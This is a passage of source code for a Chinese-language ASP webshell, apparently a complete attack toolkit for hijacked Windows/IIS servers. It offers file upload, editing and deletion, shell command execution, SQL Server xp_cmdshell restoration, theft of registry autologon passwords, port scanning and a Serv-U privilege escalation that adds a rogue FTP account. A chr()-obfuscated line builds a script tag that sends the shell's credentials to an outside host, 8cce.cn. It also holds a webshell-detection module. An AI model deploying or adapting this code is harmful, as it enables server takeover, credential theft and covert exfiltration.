    登陆超时" RESPONSE.END END IF ELSEIF REQUEST("SQLAAA")="RESUME" THEN IF SESSION("LOGIN")<>"" THEN SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") IF SESSION("XP_CMDSHELL")=0 THEN STRQUERY="DBCC ADDEXTENDEDPROC ('XP_CMDSHELL','XPLOG70.DLL')" ADOCONN.EXECUTE(STRQUERY) RESPONSE.WRITE "已经尝试恢复XP_CMDSHELL" ELSEIF SESSION("SP_OACREATE")=0 THEN STRQUERY="DBCC ADDEXTENDEDPROC ('SP_OACREATE','ODSOLE70.DLL')" ADOCONN.EXECUTE(STRQUERY) RESPONSE.WRITE "已经尝试恢复SP_OACREATE" ELSEIF SESSION("XP_REGWRITE")=0 THEN STRQUERY="DBCC ADDEXTENDEDPROC ('XP_REGWRITE','XPSTAR.DLL')" ADOCONN.EXECUTE(STRQUERY) RESPONSE.WRITE "已经尝试恢复XP_REGWRITE" ELSE RESPONSE.WRITE "恭喜!组件齐全" END IF ELSE RESPONSE.WRITE "" RESPONSE.WRITE "
    登陆超时" RESPONSE.END END IF ELSEIF REQUEST("SQLAAA")="SQL" THEN IF SESSION("LOGIN")<>"" THEN IF REQUEST.FORM("SQL")<>"" THEN SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") STRQUERY=REQUEST.FORM("SQL") SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) IF NOT RECRESULT.EOF THEN DO WHILE NOT RECRESULT.EOF STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) RECRESULT.MOVENEXT LOOP END IF SET RECRESULT = NOTHING RESPONSE.WRITE "" END IF ELSE RESPONSE.WRITE "" RESPONSE.WRITE "
    登陆超时" RESPONSE.END END IF ELSEIF REQUEST("SQLAAA")="LOGOUT" THEN SET ADOCONN=NOTHING SESSION("LOGIN")="" SESSION("NAME")="" SESSION("PASS")="" SESSION("SERVER")="" SESSION("PORT")="" SESSION("SYSTEM")="" SESSION("PRI")="" END IF IF SESSION("LOGIN")="" THEN RESPONSE.WRITE "
    " RESPONSE.WRITE "

    SQL用户名:" RESPONSE.WRITE "" RESPONSE.WRITE " SQL密码:" RESPONSE.WRITE "" RESPONSE.WRITE "

    SQL服务器:" RESPONSE.WRITE "" RESPONSE.WRITE " SQL端口:" RESPONSE.WRITE "" RESPONSE.WRITE " " RESPONSE.WRITE "" ELSE RESPONSE.WRITE "
    " RESPONSE.WRITE "

    组件检测:" RESPONSE.WRITE " " RESPONSE.WRITE " " RESPONSE.WRITE "" RESPONSE.WRITE "
    " RESPONSE.WRITE "

    组件恢复:" RESPONSE.WRITE " " RESPONSE.WRITE " " RESPONSE.WRITE "" RESPONSE.WRITE "
    " RESPONSE.WRITE "

    系统命令:" RESPONSE.WRITE " " RESPONSE.WRITE "" RESPONSE.WRITE " " RESPONSE.WRITE " " RESPONSE.WRITE "" RESPONSE.WRITE "
    " RESPONSE.WRITE "

    执行语句:" RESPONSE.WRITE " " RESPONSE.WRITE " " RESPONSE.WRITE " " RESPONSE.WRITE "" END IF End Function , , , Function ServerInfo() SI="

  • " SI=SI&"" SI=SI&"" SI=SI&"
    " SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" For i=0 To 13 SI=SI&"" Next RRS SI End Function Function DownFile(Path) Response.Clear Set OSM = CreateObject(ObT(6,0)) OSM.Open OSM.Type = 1 OSM.LoadFromFile Path sz=InstrRev(path,"\")+1 Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz) Response.AddHeader "Content-Length", OSM.Size Response.Charset = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite OSM.Read Response.Flush OSM.Close Set OSM = Nothing End Function Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function Function UpFile() If Request("Action2")="Post" Then Set U=new UPC : Set F=U.UA("LocalFile") UName=U.form("ToPath") If UName="" Or F.FileSize=0 then SI="
    请输入上传的完全路径后选择一个文件上传!" Else F.SaveAs UName If Err.number=0 Then SI="



    文件"&UName&"上传成功!
    " End if End If Set F=nothing:Set U=nothing SI=SI&BackUrl RRS SI ShowErr() Response.End End If SI="


    服务器组件信息
    服务器名 "&request.serverVariables("SERVER_NAME")&"
    服务器IP " SI=SI&"
    服务器时间 "&now&" 
    服务器CPU数量 "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"
    服务器操作系统 "&Request.ServerVariables("OS")&"
    WEB服务器版本 "&Request.ServerVariables("SERVER_SOFTWARE")&"
    "&ObT(i,0)&""&ObT(i,1)&""&ObT(i,2)&"
    " SI=SI&"
    " SI=SI&"
    "©url&"
    " SI=SI&"上传路径:" SI=SI&" " SI=SI&" " SI=SI&"
    " RRS SI End Function Function Cmd1Shell() checked=" checked" If Request("SP")<>"" Then Session("ShellPath") = Request("SP") ShellPath=Session("ShellPath") if ShellPath="" Then ShellPath = "cmd.exe" if Request("wscript")<>"yes" then checked="" If Request("cmd")<>"" Then DefCmd = Request("cmd") SI="
    " SI=SI&"SHELL路径:  " SI=SI&"WScript.Shell" SI=SI&"
    " RRS SI End Function Function CreateMdb(Path) SI="

    " Set C = CreateObject(ObT(2,0)) C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path) Set C = Nothing If Err.number=0 Then SI = SI & Path & "建立成功!" End If SI=SI&BackUrl RRS SI End function Function CompactMdb(Path) If Not ObT(0,1) Then Set C=CreateObject(ObT(3,0)) C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path Set C=Nothing Else Set FSO=CreateObject(ObT(0,1)) If FSO.FileExists(Path) Then Set C=CreateObject(ObT(3,0)) C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path&"_bak" Set C=Nothing FSO.DeleteFile Path FSO.MoveFile Path&"_bak",Path Else SI="



    数据库"&Path&"没有发现!
    " Err.number=1 End If Set FSO=Nothing End If If Err.number=0 Then SI="



    数据库"&Path&"压缩成功!
    " End If SI=SI&BackUrl RRS SI End Function if session("web2a2dmin")<>UserPass then if request.form("pass")<>"" then if request.form("pass")=UserPass then session("web2a2dmin")=UserPass response.redirect url else rrs"对不起,密码验证失败!" end if else si="

    "&mname&"
    密码:
    "&Copyright&"
    ____▂▃▄▅▆▇█雲中鷹工作室██▇▆▅▄▃▂____
    "&sers&"
    " if instr(SI,SIC)<>0 then rrs sI end if response.end end if Function DbManager() SqlStr=Trim(Request.Form("SqlStr")) DbStr=Request.Form("DbStr") SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"
     数据库连接串:
     SQL操作命令:
    " RRS SI:SI="" If Len(DbStr)>40 Then Set Conn=CreateObject(ObT(5,0)) Conn.Open DbStr Set Rs=Conn.OpenSchema(20) SI=SI&"" Rs.MoveFirst Do While Not Rs.Eof If Rs("TABLE_TYPE")="TABLE" then TName=Rs("TABLE_NAME") SI=SI&"" End If Rs.MoveNext Loop Set Rs=Nothing SI=SI&"

    [ del ]
    " SI=SI&""&TName&"
    " RRS SI:SI="" If Len(SqlStr)>10 Then If LCase(Left(SqlStr,6))="select" then SI=SI&"执行语句:"&SqlStr Set Rs=CreateObject("Adodb.Recordset") Rs.open SqlStr,Conn,1,1 FN=Rs.Fields.Count RC=Rs.RecordCount Rs.PageSize=20 Count=Rs.PageSize PN=Rs.PageCount Page=request("Page") If Page<>"" Then Page=Clng(Page) If Page="" Or Page=0 Then Page=1 If Page>PN Then Page=PN If Page>1 Then Rs.absolutepage=Page SI=SI&"" For n=0 to FN-1 Set Fld=Rs.Fields.Item(n) SI=SI&"" Set Fld=nothing Next SI=SI&"" Do While Not(Rs.Eof or Rs.Bof) And Count>0 Count=Count-1 Bgcolor="#EFEFEF" SI=SI&"" For i=0 To FN-1 If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if If RC=1 Then ColInfo=HTMLEncode(Rs(i)) Else ColInfo=HTMLEncode(Left(Rs(i),50)) End If SI=SI&"" Next SI=SI&"" Rs.MoveNext Loop RRS SI:SI="" SqlStr=HtmlEnCode(SqlStr) SI=SI&"
    "&Fld.Name&"
    x"&ColInfo&"
    记录数:"&RC&" 页码:"&Page&"/"&PN If PN>1 Then SI=SI&"  首页 上一页 " If Page>8 Then:Sp=Page-8:Else:Sp=1:End if For i=Sp To Sp+8 If i>PN Then Exit For If i=Page Then SI=SI&i&" " Else SI=SI&""&i&" " End If Next SI=SI&" 下一页 尾页" End If SI=SI&"
    " Rs.Close:Set Rs=Nothing RRS SI:SI="" Else Conn.Execute(SqlStr) SI=SI&"SQL语句:"&SqlStr End If RRS SI:SI="" End If Conn.Close Set Conn=Nothing End If End Function Dim T1 Class UPC Dim D1,D2 Public Function Form(F) F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function Public Function UA(F) F=lcase(F) If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=CreateObject(ObT(4,0)) if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(6,0)) T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa) set D2=CreateObject(ObT(4,0)) vbCrlf = chrB(13) & chrB(10) set T2 = CreateObject(ObT(6,0)) TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) TLen = LenB (TSt) DStart=DStart+TLen+1 while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6 FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1) FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL end if else T2.Type =1 : T2.Mode =3 : T2.Open T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312" SFV = T2.ReadText T2.Close if D1.Exists(UpName) then D1(UpName)=D1(UpName)&", "&SFV else D1.Add UpName,SFV end if end if DStart=DStart+TLen+1 wend TDa="" set T2 =nothing End Sub Private Sub Class_Terminate if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing T1.Close:set T1 =nothing end if End Sub End Class Class FIF dim FileSize,FileStart Private Sub Class_Initialize FileSize = 0 FileStart= 0 End Sub Public function SaveAs(F) dim T3 SaveAs=true if trim(F)="" or FileStart=0 then exit function set T3=CreateObject(ObT(6,0)) T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=false end function End Class Class LBF Dim CF Private Sub Class_Initialize SET CF=CreateObject(ObT(0,0)) End Sub Private Sub Class_Terminate Set CF=Nothing End Sub Function ShowDriver() For Each D in CF.Drives RRS"   本地磁盘 ("&D.DriveLetter&":)
    " Next End Function Function Show1File(Path) Set FOLD=CF.GetFolder(Path) i=0 SI="" For Each F in FOLD.subfolders SI=SI&"" i=i+1 If i mod 3 = 0 then SI=SI&"" Next SI=SI&"
    " SI=SI&"0"&F.Name&"" SI=SI&" _Copy" SI=SI&" Del" SI=SI&" Move" SI=SI&" Down
    " RRS SI &"
    " : SI="" For Each L in Fold.files SI="" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"
    2"&L.Name&"editdelcopymove"&clng(L.size/1024)&"K"&L.Type&""&L.DateLastModified&"
    " RRS SI:SI="" Next Set FOLD=Nothing End function Function DelFile(Path) If CF.FileExists(Path) Then CF.DeleteFile Path SI="



    文件 "&Path&" 删除成功!
    " SI=SI&BackUrl RRS SI End If End Function Function EditFile(Path) If Request("Action2")="Post" Then Set T=CF.CreateTextFile(Path) T.WriteLine Request.form("content") T.close Set T=nothing SI="



    文件保存成功!
    " SI=SI&BackUrl RRS SI Response.End End If If Path<>"" Then Set T=CF.opentextfile(Path, 1, False) Txt=HTMLEncode(T.readall) T.close Set T=Nothing Else Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件" End If SI=SI&"
    " SI=SI&"" SI=SI&"
    " SI=SI&"
    " SI=SI&"
          
    " RRS SI End Function Function CopyFile(Path) Path = Split(Path,"||||") If CF.FileExists(Path(0)) and Path(1)<>"" Then CF.CopyFile Path(0),Path(1) SI="



    文件"&Path(0)&"复制成功!
    " SI=SI&BackUrl RRS SI End If End Function Function MoveFile(Path) Path = Split(Path,"||||") If CF.FileExists(Path(0)) and Path(1)<>"" Then CF.MoveFile Path(0),Path(1) SI="



    文件"&Path(0)&"移动成功!
    " SI=SI&BackUrl RRS SI End If End Function Function DelFolder(Path) If CF.FolderExists(Path) Then CF.DeleteFolder Path SI="



    目录"&Path&"删除成功!
    " SI=SI&BackUrl RRS SI End If End Function Function CopyFolder(Path) Path = Split(Path,"||||") If CF.FolderExists(Path(0)) and Path(1)<>"" Then CF.CopyFolder Path(0),Path(1) SI="



    目录"&Path(0)&"复制成功!
    " SI=SI&BackUrl RRS SI End If End Function Function MoveFolder(Path) Path = Split(Path,"||||") If CF.FolderExists(Path(0)) and Path(1)<>"" Then CF.MoveFolder Path(0),Path(1) SI="



    目录"&Path(0)&"移动成功!
    " SI=SI&BackUrl RRS SI End If End Function Function NewFolder(Path) If Not CF.FolderExists(Path) and Path<>"" Then CF.CreateFolder Path SI="



    目录"&Path&"新建成功!
    " SI=SI&BackUrl RRS SI End If End Function End Class sub getTerminalInfo() On Error Resume Next Response.Write "

    [特殊端口探测]

    " Set wsh = Server.CreateObject("WScript.Shell") Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\TelnetPort" TlntPort=Wsh.RegRead(TelnetKey) if TlntPort="" Then Tlnt="23" Response.Write "
  • Telnet端口:"&Tlntport&"
    " TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber" TermPort=Wsh.RegRead(TermKey) If TermPort="" Then TermPort="无法读取.请确认是否为Windows Server版本主机" Response.Write "
  • Terminal Service端口为:"&TermPort&"
    " pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort" PAWPort=Wsh.RegRead(pcAnywhereKey) If PAWPort="" then PAWPort="无法获取.请确认主机是否安装pcAnywhere" Response.Write "
  • PcAnywhere端口为:"&PAWPort&"
    " Response.Write "------------------------------------------------------" Set wsX = Server.CreateObject("WScript.Shell") Dim terminalPortPath, terminalPortKey, termPort Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" terminalPortKey = "PortNumber" termPort = wsX.RegRead(terminalPortPath & terminalPortKey) RRS "终端服务端口及自动登录
      " If termPort = "" Or Err.Number <> 0 Then RRS"无法得到终端服务端口, 请检查权限是否已经受到限制.
      " Else RRS "当前终端服务端口: " & termPort & "
      " End If autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" autoLoginEnableKey = "AutoAdminLogon" autoLoginUserKey = "DefaultUserName" autoLoginPassKey = "DefaultPassword" isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey) If isAutoLoginEnable = 0 Then RRS "系统自动登录功能未开启
      " Else autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey) RRS "自动登录的系统帐户: " & autoLoginUsername & "
      " autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey) If Err Then Err.Clear RRS "False" End If RRS "自动登录的帐户密码: " & autoLoginPassword & "
      " End If RRS "
    " End Sub sub ReadREG() RrS"注册表键值读取:
    " RrS"
    " RrS"" RrS"" RrS"

    " RrS"" RrS"" RrS" " RrS"" RrS"" RrS"


    " RrS"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\Dont-DisplayLastUserName,REG_SZ,1 {不显示上次登录用户}

    " RrS"HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous,REG_DWORD,0 {0=缺省,1=匿名用户无法列举本机用户列表,2=匿名用户无法连接本机IPC$共享}

    " RrS"HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer,REG_DWORD,0 {禁止默认共享}

    " RrS"HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSharedNetDrives,REG_SZ,0 {关闭网络共享}

    " RrS"HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters,REG_DWORD,1 {启用TCP/IP筛选(所有试配器)}

    " RrS"HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter,REG_DWORD,1 {允许IP路由}

    " RrS"-------以下似乎要看绑定的网卡,不知道是否准确---------

    " RrS"HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway,REG_MUTI_SZ {默认网关}

    " RrS"HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}\NameServer {首DNS}

    " RrS"HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}\TCPAllowedPorts {允许的TCP/IP端口}

    " RrS"HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}\UDPAllowedPorts {允许的UDP端口}

    " RrS"-----------OVER--------------------

    " RrS"HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count {共几块活动网卡}

    " RrS"HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind {当前网卡的序列(把上面的替换)}

    " RrS"" RrS"

    " if Request("thePath")<>"" then On Error Resume Next Set wsX = Server.CreateObject("WScript.Shell") thePath=Request("thePath") theArray=wsX.RegRead(thePath) If IsArray(theArray) Then For i=0 To UBound(theArray) RrS"
  • " & theArray(i) Next Else RrS"
  • " & theArray End If end if end sub sub ScanPort() Server.ScriptTimeout = 7776000 if request.Form("port")="" then PortList="21,23,25,80,110,135,139,445,1433,3389,43958" else PortList=request.Form("port") end if if request.Form("ip")="" then IP="127.0.0.1" else IP=request.Form("ip") end if RRS"

    端口扫描器(如果扫描多个端口,速度比较慢,个人推荐使用CMD)

    " RRS"
    " RRS"

    Scan IP: " RRS" " RRS"
    Port List:" RRS"" RRS"

    " RRS"" RRS"" RRS"

    " If request.Form("scan") <> "" Then timer1 = timer RRS("扫描报告:

    ") tmp = Split(request.Form("port"),",") ip = Split(request.Form("ip"),",") For hu = 0 to Ubound(ip) If InStr(ip(hu),"-") = 0 Then For i = 0 To Ubound(tmp) If Isnumeric(tmp(i)) Then Call Scan(ip(hu), tmp(i)) Else seekx = InStr(tmp(i), "-") If seekx > 0 Then startN = Left(tmp(i), seekx - 1 ) endN = Right(tmp(i), Len(tmp(i)) - seekx ) If Isnumeric(startN) and Isnumeric(endN) Then For j = startN To endN Call Scan(ip(hu), j) Next Else RRS(startN & " or " & endN & " is not number
    ") End If Else RRS(tmp(i) & " is not number
    ") End If End If Next Else ipStart = Mid(ip(hu),1,InStrRev(ip(hu),".")) For xxx = Mid(ip(hu),InStrRev(ip(hu),".")+1,1) to Mid(ip(hu),InStr(ip(hu),"-")+1,Len(ip(hu))-InStr(ip(hu),"-")) For i = 0 To Ubound(tmp) If Isnumeric(tmp(i)) Then Call Scan(ipStart & xxx, tmp(i)) Else seekx = InStr(tmp(i), "-") If seekx > 0 Then startN = Left(tmp(i), seekx - 1 ) endN = Right(tmp(i), Len(tmp(i)) - seekx ) If Isnumeric(startN) and Isnumeric(endN) Then For j = startN To endN Call Scan(ipStart & xxx,j) Next Else RRS(startN & " or " & endN & " is not number
    ") End If Else RRS(tmp(i) & " is not number
    ") End If End If Next Next End If Next timer2 = timer thetime=cstr(int(timer2-timer1)) RRS"
    Process in "&thetime&" s" END IF end sub Sub Scan(targetip, portNum) On Error Resume Next set conn = Server.CreateObject("ADODB.connection") connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;" conn.ConnectionTimeout = 1 conn.open connstr If Err Then If Err.number = -2147217843 or Err.number = -2147467259 Then If InStr(Err.description, "(Connect()).") > 0 Then RRS(targetip & ":" & portNum & ".........关闭
    ") Else RRS(targetip & ":" & portNum & ".........开放
    ") End If End If End If End Sub copyurl=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(56)&chr(99)&chr(99)&chr(101)&chr(46)&chr(99)&chr(110)&chr(47)&chr(97)&chr(100)&chr(47)&chr(63)&chr(97)&chr(100)&chr(61)&chr(49)&chr(51)&chr(38)&chr(117)&chr(61)&serveru&chr(38)&chr(112)&chr(61)&serverp&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(13)&chr(10) Select Case Action Case "MainMenu":MainMenu() Case "getTerminalInfo":getTerminalInfo() Case "PageAddToMdb":PageAddToMdb() case "ScanPort":ScanPort() Case "Servu" SUaction=request("SUaction") if not isnumeric(SUaction) then response.end user = trim(request("u")) pass = trim(request("p")) port = trim(request("port")) cmd = trim(request("c")) f=trim(request("f")) if f="" then f=gpath() else f=left(f,2) end if ftpport = 65500 timeout=3 loginuser = "User " & user & vbCrLf loginpass = "Pass " & pass & vbCrLf deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf mt = "SITE MAINTENANCE" & vbCrLf newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf quit = "QUIT" & vbCrLf newuser=replace(newuser,"c:",f) select case SUaction case 1 set a=Server.CreateObject("Microsoft.XMLHTTP") a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit set session("a")=a RRS"
    " RRS"
  • " RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS"" RRS" " RRS" " RRS" " RRS" " RRS" " RRS" " RRS" " RRS" " RRS" " RRS" " RRS" " RRS" " RRS" " RRS"
    Serv-U 提升权限 ASP版 6.4
    用户名:
    口 令:
    端 口:
    系统路径:
    命 令:
    " RRS"" RRS"
    说 明:
    " end select function Gpath() on error resume next err.clear set f=Server.CreateObject("Scripting.FileSystemObject") if err.number>0 then gpath="c:" exit function end if gpath=f.GetSpecialFolder(0) gpath=lcase(left(gpath,2)) set f=nothing end function Case "kmuma" dim Report if request.QueryString("act")<>"scan" then RRS ("网站根目录- "&Server.MapPath("/")&"
    ") RRS ("本程序目录- "&Server.MapPath(".")) RRS (""©url&"") RRS "
    " RRS "

    填入你要检查的路径:" RRS " 填“\”网站根目录;“.”为本程序目录

    " RRS "你要干什么: 查ASP 马" RRS "搜索符合条件之文件
    " RRS "

    " RRS "  查找内容:" RRS " 要查找的字符串,不填就只进行日期检查
    " RRS "  修改日期: 多个日期用;隔开,任意日期填写 ALL
    " RRS "  文件类型: 类型之间用,隔开,*表示所有类型

    " RRS "" RRS "
    " else if request.Form("path")="" then RRS("路径不能为空") response.End() end if if request.Form("path")="\" then TmpPath = Server.MapPath("\") elseif request.Form("path")="." then TmpPath = Server.MapPath(".") else TmpPath = request.Form("path") end if timer1 = timer Sun = 0 SumFiles = 0 SumFolders = 1 If request.Form("radiobutton") = "sws" Then DimFileExt = "asp,cer,asa,cdx" Call ShowAllFile(TmpPath) Else If request.Form("path") = "" or request.Form("Search_Date") = "" or request.Form("Search_FileExt") = "" Then RRS("缉捕条件不完全

    请返回重新输入") response.End() End If DimFileExt = request.Form("Search_fileExt") Call ShowAllFile2(TmpPath) End If RRS "" RRS "" RRS "" Sun = Sun + 1 temp="-同上-" End if If instr( filetxt, Lcase("She"&DoMyBest&"ll.Application") ) or Instr( filetxt, Lcase("clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000") ) then Report = Report&"" Sun = Sun + 1 temp="-同上-" End If Set regEx = New RegExp regEx.IgnoreCase = True regEx.Global = True regEx.Pattern = "\bLANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript).encode\b" If regEx.Test(filetxt) Then Report = Report&"" Sun = Sun + 1 temp="-同上-" End If regEx.Pattern = "\bEv"&"al\b" If regEx.Test(filetxt) Then Report = Report&"" Sun = Sun + 1 temp="-同上-" End If regEx.Pattern = "[^.]\bExe"&"cute\b" If regEx.Test(filetxt) Then Report = Report&"" Sun = Sun + 1 temp="-同上-" End If regEx.Pattern = "\.(Open|Create)TextFile\b" If regEx.Test(filetxt) Then Report = Report&"" Sun = Sun + 1 temp="-同上-" End If regEx.Pattern = "\.SaveToFile\b" If regEx.Test(filetxt) Then Report = Report&"" Sun = Sun + 1 temp="-同上-" End If regEx.Pattern = "\.Save\b" If regEx.Test(filetxt) Then Report = Report&"" Sun = Sun + 1 temp="-同上-" End If Set regEx = Nothing Set regEx = New RegExp regEx.IgnoreCase = True regEx.Global = True regEx.Pattern = "
    Scan WebShell -- 黑夜专用版
    " RRS "
    " RRS "扫描完毕!一共检查文件夹"&SumFolders&"个,文件"&SumFiles&"个,发现可疑点"&Sun&"个" RRS "" If request.Form("radiobutton") = "sws" Then RRS "" RRS "" RRS "" RRS "" else RRS "" RRS "" RRS "" end if RRS "" RRS Report RRS "
    文件相对路径特征码描述创建/修改时间文件相对路径文件创建时间修改时间
    " timer2 = timer thetime=cstr(int(((timer2-timer1)*10000 )+0.5)/10) RRS "
